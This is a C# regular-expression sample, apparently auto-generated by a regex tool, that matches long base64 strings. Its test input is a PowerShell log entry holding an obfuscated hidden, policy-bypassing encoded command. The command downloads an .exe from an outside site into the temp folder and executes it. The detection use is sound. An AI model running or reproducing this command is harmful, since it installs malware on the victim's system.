using System;
using System.Text.RegularExpressions;
public class Example
{
public static void Main()
{
string pattern = @"[A-Za-z0-9+/=]{200}";
string input = @"Creating Scriptblock text (1 of 1):
poWERShElL.Exe -ExECutioNPolicy bYpAsS -NOPrOFiLe -WindOwsTyLe HiddEN -enCodEdCoMMANd IAAoAG4ARQB3AC0AbwBiAGoAZQBjAFQAIABTAHkAUwBUAGUAbQAuAE4AZQB0AC4AVwBFAGIAQwBsAGkARQBOAHQAKQAuAEQAbwB3AE4ATABvAGEARABGAEkAbABFACgAIAAdIGgAdAB0AHAAcwA6AC8ALwBhAHIAaQBoAGEAbgB0AHQAcgBhAGQAZQByAHMAbgBnAHAALgBjAG8AbQAvAGkAbQBhAGcAZQBzAC8AUwBjAGEAbgBfADIALgBlAHgAZQAdICAALAAgAB0gJABlAG4AdgA6AFQARQBtAFAAXABvAHUAdABwAHUAdAAuAGUAeABlAB0gIAApACAAOwAgAGkAbgBWAG8AawBFAC0ARQB4AFAAUgBlAHMAUwBJAG8ATgAgAB0gJABFAE4AdgA6AHQARQBNAFAAXABvAHUAdABwAHUAdAAuAGUAeABlAB0g
ScriptBlock ID: 9998ff14-4851-45e4-8aca-8b08753a2f42
Path:";
RegexOptions options = RegexOptions.Multiline;
foreach (Match m in Regex.Matches(input, pattern, options))
{
Console.WriteLine("'{0}' found at index {1}.", m.Value, m.Index);
}
}
}
Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for C#, please visit: https://msdn.microsoft.com/en-us/library/system.text.regularexpressions.regex(v=vs.110).aspx